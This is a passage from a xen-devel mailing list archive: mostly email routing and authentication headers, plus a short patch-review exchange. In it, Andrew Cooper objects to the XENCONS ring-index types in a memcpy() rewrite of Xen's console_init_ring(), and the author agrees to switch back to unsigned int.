	:message-id:mime-version:references:subject:to; s=ppford; bh=RlQ
	46LQ2KC5t/9pTVZoO6zHeJDDbacqPZi6Djs68KXc=; b=fK3hlb5zfrKtoJ3Kd8p
	qfLcfgCJeQo8VMiUFwglOn2dkcJ2Fs9qwMhN9v1FdVII0p0jPrkrz0bQWDp2zC0B
	rnPBeQdvpYbpRjX/zGBjcU3q7DBZxQlpN2g+ylaxUgMaiYUOn97Lc3GUJye32Si4
	9UmnWwyCPtnXt7pMU8nPkt+wKahUv/0NRs0/YPnHzbPHbi5VFetcR3/tV3ghDGXV
	2UdApR4P8Kq6gnrZRUkTYAoEV0MhnEv8YmYTrc5eTxRA8zBJ17p3ZCd8YvBLccgy
	mnvn27B3/z2Ap1mkJViwj0yUUHD1Sbzn1fbaOczm+ctKo2QHboy+WIJJB5Ki3y92
	V9w==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FKJphdYce3/8kJ9N6+D355QG+H7s0ujfRLNPJwza6NETH5w9w60mtOyWPkygP2xbud2U4cMiI/HY4PvVNxexMbg2o8pc8yqp0/aGy8GDNkBXXb1JHeCH/nz3WgBMhpHHJgDlXneXNPz6SlAzPWumrP8epwX2BBdMatxwxjiWce8ycTbpIweaIEyePaWYgdwlyp+CRS/u/PE4saa/p3VYZNu+SUw7vCeniKciLAfRfR5RZdYnpg/IUGjcFe5ABT1Mv2jcGW32XXG4vn2/0e0YARGYPMTCt4GoMT99LvpFqtGVuQ4JY3mLa7pXG2ahGJBLBvh+7/AhGs4SfChmdD7Ffw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=+4CsLIU1bRbY4ZxswuwrvqQ+Xbfa6tIGA2PJMJ67l64=;
 b=yGDLGh8GyCJjegcYBFAKT5ILW1TZjVByKrjqpVugVQppCgl7FwozN4HuCjiqpj0JsukPrp2wLDIvtTM7JRtjL5jJ+V+AkYVR7dsE0vqS6x+tkqMUtHNup5BPycxChgJx2bbbAyobzNlfH0WicB5LkkdPmIJRWU685AcErJDfe9XfuwPkykByUfOo2qsPiv1qfiFscMXrBu5v8RZF0vdweEGxJexUKfqI9CYqEGqxQluBttrLX9PwpaS8PpFUDjGI3erHFX+EIrvCxFkXTqvtXPrfNO8ZXU0/ptY81FMO4RXOJ1cwjo8aD1ecQHaf0p+rxS1LM/XdDGXkeBjz7AEmWQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=+4CsLIU1bRbY4ZxswuwrvqQ+Xbfa6tIGA2PJMJ67l64=;
 b=kIh0gkG/loAzzlBtEOHCh8rFo1ljWc2LV/0RtgwJ5Y4YxtMqhLO4nAnCpuCbC7e8yDfMF2FNG+qd16SYZIket7Y7WmeM5vz0r08ZfqadQflilLbSnQF0zVbs6kVA1FJU/Fr2h8NXqqPLnITuc6TUpCc5vXRiHVqmoKZgLj2xFQk=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:content-type
	:date:from:in-reply-to:message-id:mime-version:references
	:subject:to; s=ppserprodsaar; bh=RlQ46LQ2KC5t/9pTVZoO6zHeJDDbacq
	PZi6Djs68KXc=; b=hG5OZ6P9XLsf6jjIf5KiC+f0uaVd9R9OrrO5+quAIMX+y66
	SpFN40VPisUHcXYfjZEJGO/0+DnHhKC+HvpOcaAq9kPWHXirHB0xEZ5nQ8Y7bzty
	BLlwXAmUY1ES90LrVoX92+JzmFtQpzZFC+fj3xe+KQnpairXJmPRgjZepE35rIRD
	PlLGdBqxqrq1R6IpOW1LSCYiLeZIyFRJTw3A+c0aKM2x2lMu1lBLGsn3o3XmhMdH
	r79uIVc3mxYhv3zIuoGV+ayWZmM24N9j3YpzrLxDCglZ+/fuJ3wle0tY5VoJGlvj
	65DwNXoEg4Rv5H3jg+dcPNUPFjSMVrHg4ze1oKQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppfserpocford;
	 bh=RlQ46LQ2KC5t/9pTVZoO6zHeJDDbacqPZi6Djs68KXc=; b=DcZtHC1LqJgv
	IfjG69TOphqAmtDv5AMdlqiBA9GOptlVPTNfKvRzdtlTU/9SLSfgDb5M7+V2A24Y
	vbLfUN9MQapJfd+CohHRg1vwRlXLff7BcclEBv+BdLeJiCwWixub/fSbxlJ9VF0s
	zQbraxY07YvkK8/D0WAH3kCskWal4JoyrAHNj4UnBxMSvoK0RrT2mE6z+/Yigpk4
	TDnC4v++jIg4F8/c9/1wlCTNXoynNR8RKlZXPMlPbShbKtDXebAzI15WS8lvub8f
	CvAzbt9VRuiWgVfWznIkvhiAp1WX7j4HW6p7NtPp4D4oQZo1id3R1jAGse6ghYVb
	4esPMp9icQ==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kumuw5fl2qFVlkumvwU9Hz
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Fri, 17 Jul 2026 19:28:23 -0700
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: dmukhin@ford.com, xen-devel@lists.xenproject.org,
        anthony.perard@vates.tech, jbeulich@suse.com, julien@xen.org,
        michal.orzel@amd.com, roger.pau@citrix.com, sstabellini@kernel.org
Subject: Re: [PATCH v7 2/7] xen/console: use memcpy() in console_init_ring()
Message-ID: <alrkx7XyK/pfUq9j@kraken>
References: <20260713181619.672176-1-dmukhin@ford.com>
 <20260713181619.672176-3-dmukhin@ford.com>
 <d8870af9-6fc1-4c5f-9858-16dad1401d2f@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <d8870af9-6fc1-4c5f-9858-16dad1401d2f@citrix.com>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 bulkscore=0
 adultscore=0 suspectscore=0 spamscore=0 phishscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180022
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS1PEPF00017098:EE_|SA2PR16MB4218:EE_
X-MS-Office365-Filtering-Correlation-Id: b2944120-b74a-4239-dc0c-08dee47440ba
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|36860700016|1800799024|82310400026|6133799003|10067099003|4143699003|11063799006|22082099003|18002099003|56012099006;
X-Microsoft-Antispam-Message-Info:
	gmy3fIcRF9YkZW5GYh4aI+GjHHQrip2jVNo/vnj1i4EupHuIqEB/M8EhpNma7X9FCjYhCCbkbPoKPZ9OoLu71syjE4QG9Y6f5lujqaCehxjbEFMkR9MIkzvjuihNh6neFIQfMSUot3p36O59KK/zeVc4rtp8S0y+ghdNHAoER/qECZaMWRT0pa7zLKzXyk5vHwGTB8i932CjxD5mMeNVAgO6CZHtJPZ+4fs4a42UnTHOM72cUpo63424qfqI82DYKW/C67xWzK+mr9aYVrZdGKZoaWllwZMfaZ+7tW93trXweKB1Xyrgctvc9C/bdyfBZQAVL1FNDMdWPtNmn24xsSSnb40+/J9kr6BzNp1XiYpmAA4rRXEd/jPKEA0dqAahcruKvW2d//yveplrPXbSY22oCyWUqXN+EeALXG557RQSYZx2yPoOmubzIvQv7cxYQ3WSX+3l+Bt4zQVZlgsDjYzeAEX9VQO2ZMXttSLWjRe6jrZvKPjQaK76+IwYTuoQQMUVb0LGMFV3ExNIsQX1GSJ4K0X0bojzpcA2VIwWShaiZKE3srsROrbjq58l99SFHQEfZboq8HFlMB9yZpBw9p3BJVxOvbL2NK8B7lAJAgBuuhEi6KZhBpl2ih3nLupHaEDzW1xAnMrMTqVIaE9PKO8M7eliLRjTkhNtP5IiXqERq95X1oG4IoxU6e4ZqHn7p2O3CRrTyZgHJjXCq9n87g==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(23010399003)(36860700016)(1800799024)(82310400026)(6133799003)(10067099003)(4143699003)(11063799006)(22082099003)(18002099003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	hF6jrbpHz4buXj5Olp9cf5XiktUzwsFdhW3thJhy65TENzuGubtz9Ng5niLWlz4rkfxgx9qIQAv+yTZaUS2qAfTG/cLajz67N3pT1L/LIrO4GQRp6KTTmdYIa7HZghCm1r+z0s8/7peUyTps27F3Qt6L9kD75wpRbGpPwHomhuLcNltcYUGw5aE+f/BOUnFGEUU7rKYJ1cvZoYMnU71Zlw0cp9Ys1xvZKECESMZVScLE4vEWZTtxNGSMw3gCRMlOWZlMXqKg1wRSlqEtq2A6+iw6aRobMiZ1E6mW3bltF0qh3+c5UfNmKfAQ0pjuvwI8faIkUzxF9BBcnvaOEgBhtWP/kb4SnNzn5rF177r+OoAkn6ahhvO6kP1sVDK0VjDMzZ0ACGhWMAaRKiIpy48qbQMVZ7THIlrIlcUmM/2DwLd0ds5bxK0MUc5H9ahEvJUw
X-Exchange-RoutingPolicyChecked:
	BRoMwupbcbdS9u4LZMoMtxK2D4SOcSyqn0svAlWf1OQiYEmFVYOeK/fAx7mQPQyn8B3fSOyq/2tqa06EvZw+DS9d3Wl8M489e/axGSYfBz9Qn1xq/VWjKfYFV9vJsKFWbgkGeoeNr5IX4TMbwOO66IR+/HfxDw0Q2reitpEAOhnBDPEDxkl/jHOb5bp3ZRWGqTzc327XJZ5HdoAOMwMEhfJ3nkHdsBdXSJVB2sYelA/qszf8mUVO91EbCbvaqb9WvEiw6PYURNTEK4yEOw2Em66YlYyrRt2w2AJ2/bv40efFuddbpar4+dnq0hKQFMVHYcNLwlil+bcJgn3wtI6rcw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	EHFizX74HyKVUAQiskH5c1L3m5WBNxiXJsO93Tj8vOvcEp6txepX/bdgW4FkQ2jVxov4qGSTv1hrXd38SnIZbbRAeS7A0Bf2gMISJKjozNk5gDouYyKytNJ/Tj/7hByevs8C8zVzNk+25CHrJZhPuuiNso7KHES6pSuTRSm+vb765CVQlJaRlIH/OM2QAo8xqP6ytbWVWM+E2LCYXbqoWB8XRRDPwv4kCT3kKdwHa21Kp4WdSkqi5CDdj+2yvaUn2BbK6Ub7Nvq2UtuSVLjAc2DpRdcBxJwS3maP8rhpt7Y29n13UJHN8VKt9ORkKMDzGXKEPHoDzGeeAoJeg5chAIaaKP1mzTVhf7HjJEA5Ptt4dgxOfDDt95EKd8o9Jxq+pF6CTFOT9lwFUrZPUuwQ683pMyiwPEB799mLTGnvFY2jYqJ4wbgy4wipNpOukhEGEU0urZyZWDPLUpVEhjbPdgSFRk3Yt/i4hVbN7RXeur50SEK6OmKW5XgB6vF7k3sz6c/w9DyKAmwpZjEcAa+WFvZq0+ILD1YXrBs2E0EqIuQSpnJ9ff8Chl8a68t2BaA7b+o93BSji8lWddTP7Eq0HignbirX0Wr9n3HIy047eEMUzf16+8Mo4HZ1tCtdU+aHYLqd7kq7w1bQ/ruSUo7gvg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jul 2026 02:28:28.4407
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b2944120-b74a-4239-dc0c-08dee47440ba
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS1PEPF00017098.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA2PR16MB4218
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfX2m2wEhzWotHm
 3x+XHN6suJupHftUTXbBjhDP6UhaJ/okHSflX73B2ioIpvlmRBE1rK5lReeBYyIPx7XJ6KVZW1u
 cS5odEouMAzxtJFtPCtf6HnQ2mmCHgVZFVNoQAneqMCuhVQvGLq4
X-Proofpoint-GUID: Wt3_McMiLX8CJcXyKplWnvrc-RSil7_X
X-Proofpoint-ORIG-GUID: Wt3_McMiLX8CJcXyKplWnvrc-RSil7_X
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfXyQfbhw2/FQXe
 +El8no6U216WtwbameI85Q/Fbvt957BR2oTGXAQOEH9IzNPoV1axFSNkT69JowsugJDtcm8ugfX
 XERLYwNeAnqXj5d+C1Xu391FKAfvUFKq5ZEnX7S8rHbPObOKU/x4uKY7hoD/rvrZGIXR732RW+o
 uUMkKuKjInH8jXKLHN6+AVqJD1CydkNPY78x9QX7K+258n0fXAqzC/iyBxHVtxDjnASPR+ozhbp
 P0h5jVlZ/L3MJtq8Rhw3yvCvyh1j7zr11/l3A1jbldUu7jEvaZuC/snrz1Pgl+O6NMwYHXbuDxa
 T36RCl95+MIAQq25G+LVuBBzg/Xk2pzPfRFMV8PXeaomDthinU6OrXR6YstWYtK9LxnvrysHWnv
 3zWkiUu5rWqTHG/ijFJ6RiHGPKJ+SQcxAXStfjMBHpr8V9wk00AEB4KQrbZcAbXhfn0iixKAKX1
 XOqWFFd5g3KeFvKL8DQ==
X-Authority-Analysis: v=2.4 cv=PZPPQChd c=1 sm=1 tr=0 ts=6a5ae4d1 cx=c_pps
 a=41oIdeUvPxzefjUhlJkc5Q==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=8nJEP1OIZ-IA:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=dw5MciS7gY-znkhJuOLE:22
 a=cbNQJ9GKAAAA:8 a=tHz9FfFoAAAA:8 a=sokI8wEBIBHMek2a-JQA:9 a=3ZKOabzyN94A:10
 a=wPNLvfGTeEIA:10 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 adultscore=0 clxscore=1015 spamscore=0 phishscore=0 bulkscore=0
 impostorscore=0 priorityscore=1501 lowpriorityscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607180022
X-purgate-ID: tlsNG-ef75cf/1784341715-356C2AE4-E4DC9AD1/0/0
X-purgate-type: clean
X-purgate-size: 2324

On Fri, Jul 17, 2026 at 11:01:27PM +0100, Andrew Cooper wrote:
> On 13/07/2026 7:16 pm, dmukhin@ford.com wrote:
> > From: Denis Mukhin <dmukhin@ford.com> 
> >
> > Make console_init_ring() more efficient by using memcpy()'s, rather than
> > copying the ring a byte at a time.
> >
> > No functional change intended.
> >
> > Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
> > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> > Acked-by: Roger Pau Monne <roger.pau@citrix.com>
> > ---
> > Changes since v6:
> > - addressed Roger's feedback
> > - added Roger's A-b
> > ---
> >  xen/drivers/char/console.c | 18 +++++++++++++++---
> >  1 file changed, 15 insertions(+), 3 deletions(-)
> >
> > diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
> > index 5ebbbf63c092..37ea84403180 100644
> > --- a/xen/drivers/char/console.c
> > +++ b/xen/drivers/char/console.c
> > @@ -463,7 +463,8 @@ static void cf_check conring_dump_keyhandler(unsigned char key)
> >  void __init console_init_ring(void)
> >  {
> >      char *ring;
> > -    unsigned int i, order, memflags;
> > +    XENCONS_RING_IDX done, size, n;
> > +    unsigned int order, memflags;
> >      unsigned long flags;
> >  
> >      if ( !opt_conring_size )
> > @@ -479,8 +480,19 @@ void __init console_init_ring(void)
> >      opt_conring_size = PAGE_SIZE << order;
> >  
> >      nrspin_lock_irqsave(&console_lock, flags);
> > -    for ( i = conringc ; i != conringp; i++ )
> > -        ring[i & (opt_conring_size - 1)] = conring[i & (conring_size - 1)];
> > +
> > +    size = conringp - conringc;
> > +    for ( done = 0; done < size; done += n )
> > +    {
> > +        XENCONS_RING_IDX src = (conringc + done) & (conring_size - 1);
> > +        XENCONS_RING_IDX dst = (conringc + done) & (opt_conring_size - 1);
> 
> I see this has been committed, but the use of XENCONS_RING_* is wrong
> here.  This ring is not a XENCONS ring, and that header is almost
> straight obfuscation.
> 
> The types obscure what's going on, including the fact that this logic is
> unsafe with a 4G ring.  And while that might be a legitimate
> implementation restriction, it needs to be obvious in the code.
> 
> These want to move back to being unsigned int.

Will update in the next iteration of the series.


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 02:29:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 02:29:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365314.1615868 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkuo3-0004HK-GL; Sat, 18 Jul 2026 02:29:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365314.1615868; Sat, 18 Jul 2026 02:29:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkuo3-0004HA-BX; Sat, 18 Jul 2026 02:29:35 +0000
Received: by outflank-mailman (input) for mailman id 1365314;
 Sat, 18 Jul 2026 02:29:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkuo1-0004Gs-Iu
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 02:29:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkuo0-00Cenx-5D
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 04:29:32 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae4dd-bab6-0a2a0a5309dd-0a2a450ceba6-26
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:29:32 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5ae50a-f479-0a2a450c0019-94a39217c71e-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:29:31 +0200
Received: from pps.filterd (m0367126.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNDja43130698
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:29:29 GMT
Received: from byapr05cu005.outbound.protection.outlook.com
 (mail-westusazon11010001.outbound.protection.outlook.com [52.101.85.1])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4ffr68vd01-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 02:29:29 +0000 (GMT)
Received: from CY5PR22CA0061.namprd22.prod.outlook.com (2603:10b6:930:80::6)
 by DS5PPFC0EDA5D61.namprd16.prod.outlook.com (2603:10b6:f:fc00::7e4) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Sat, 18 Jul
 2026 02:29:27 +0000
Received: from CY4PEPF0000E9DA.namprd05.prod.outlook.com
 (2603:10b6:930:80:cafe::78) by CY5PR22CA0061.outlook.office365.com
 (2603:10b6:930:80::6) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.13 via Frontend Transport; Sat,
 18 Jul 2026 02:29:27 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 CY4PEPF0000E9DA.mail.protection.outlook.com (10.167.241.73) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Sat, 18 Jul 2026 02:29:26 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNI88F1682151
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:29:25 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4wr05yv-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:29:25 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id kunrwlpSY1yXdkunrwsCDU; Sat, 18 Jul 2026 02:29:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppford; bh=5yVO1UuA+36QQeeD9VG4BCCrsK7
	AyjVu/uPnJ5UAe8U=; b=WLZUF/Tix5pj/D3ASuqEcQS4f+gndaffHWZwx0/JLKg
	zsjlXAyr253LCTBBj/Ilv83LFDb51G3KjsyeSPxz0ONoAbPFfiEJ5Jgp0cIJA3j0
	4hjlNCQOcfwbdcKbwHk+22/P5GOLtlU5GCSk9eS96lq9ib89z8WB+mrFON9klF4T
	KD53xLsne/ePRxhKNYI/jAOQn14NyMzrnDVA3Bj9Y2dACwTTmq9VJ/qxQW5/ZC7F
	y//VlXZSBdZ5YuohPQBR9t12rGp5qDeDrMhiXo2bXcw0bb2Jal3G6vt3WP1s9E9e
	zczKmtimUjTv518uqRhpZQ3y5q77L366aWIqFkK3N+Q==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=urUJkZKFOt91+F4MUZk9J+Geh5Qo3gPc4CzY1QTWGzzOe3haG8U8xYaFqwFNNZ9OVLDSC4FC0GDNcPptbvKU8kSUXDp2BSN68RajBdR7f3WV6/yXHffS02bRJJslxQPI0a/GVNDqArzKnrBDin1Th6iBg2zKyzOFbXoOqrLjURm7ZJyN0OOKnqdCTfEsogtRH7UNTPOkLP0SGlsgNu24YpoB9orzx/l5mr2RqBH0+XXeG83ktJO8SFLHPDrvNSncouLFZq3AgRrb97xW0TVV/oXsZB2ohkh5SLXOVNfT1TLFWK/UMC/9lhICJKeAuwPu700fzgGMYRnAjSSqPI4gTw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=5yVO1UuA+36QQeeD9VG4BCCrsK7AyjVu/uPnJ5UAe8U=;
 b=rvrhlTroEkAWASg9irmRX/RRag7sB/IuYhnwCyRBvGBKU79S7AQ37sWxOYnobhaQ3q1rojSda3+P4oxcYOR7IW4bVL8lBp3Vao3x3Q09iI+o9w45g2Wl152+H+l4UEpTF6kWWLr/ab343YDKmSxdibzQpYADAFKs+QaUd4Rqyr7K9OqIpCa2Tkl6COijWssAx45rgDKVWpZwpTkLP1+bQ9y5uU2EJy+zxrz5K+4Q1i8sQJwgqlKq161zqWiaqwttx57v0iGMKVPooh37BeY5t0G+8WLA6C/PPaNpmuV8OMHvVWfWdDdtg+ZrTGveDSBtd9bI9ywOVOsDyPnS/EpIkw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=5yVO1UuA+36QQeeD9VG4BCCrsK7AyjVu/uPnJ5UAe8U=;
 b=WPdYFvjk3XaGddIw+n22vc1ERoQFtlkabCxbBzLg8grPSC9aboZq7FtKRB6mIWcBT4zNMw3Wlks8L5IN2DNVFM1WP0T6RJY78IVTucMkFLVggTIm6RPVp6lcHNcfiqNFkr0fTuH9SH2prhKlwlyvnCAZMx2/Nt2A7TXjLlY4T/0=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-type:date:from:in-reply-to
